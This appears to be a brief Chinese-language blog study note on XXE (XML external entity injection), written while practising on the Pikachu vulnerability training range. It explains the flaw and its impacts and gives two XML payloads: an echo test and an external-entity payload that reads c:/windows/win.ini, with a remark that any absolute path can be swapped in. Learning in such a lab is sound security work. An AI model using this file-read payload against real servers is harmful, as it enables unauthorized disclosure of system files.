XXE漏洞(Pikachu)
原理
要补好多知识~
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
解析xml在php库libxml,libxml>=2.9.0的版本中默认是禁止解析xml外部实体内容的,没有XXE漏洞。
从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)
XML外部实体注入(XXE)的原理和应用_xml注入原理-CSDN博客
XXE(XML外部实体注入)漏洞分析——pikachu靶场复现_pikachu xxe-CSDN博客
XXE危害
读取任意文件
PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。
XML在各语言下支持的协议有:
pikachu
pikachu XXE (XML外部实体注入)(皮卡丘漏洞平台通关系列)-CSDN博客
在实施攻击之前可以简单判断一下是否存在回显数据
随便输入个包含命名实体(内部实体)的xml数据(以下代码中xxe是命名实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe "茶茶" > ]>
<a>&xxe;</a>
看到回显了”茶茶“,说明存在回显。(注意:只能判断是否存在回显,不能判断是否支持外部实体)
已经判断了输入内部实体是有回显的,那接下来可以用带内外部实体注入的方法,来确定是否支持外部实体,以及实施攻击。
c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞,当然想要读取其他文件目录,只需更改绝对路径即可
输入payload(以下代码中xxe是外部实体的实体名称):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<foo>&xxe;</foo>
东西有点多,后续还会继续学习
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!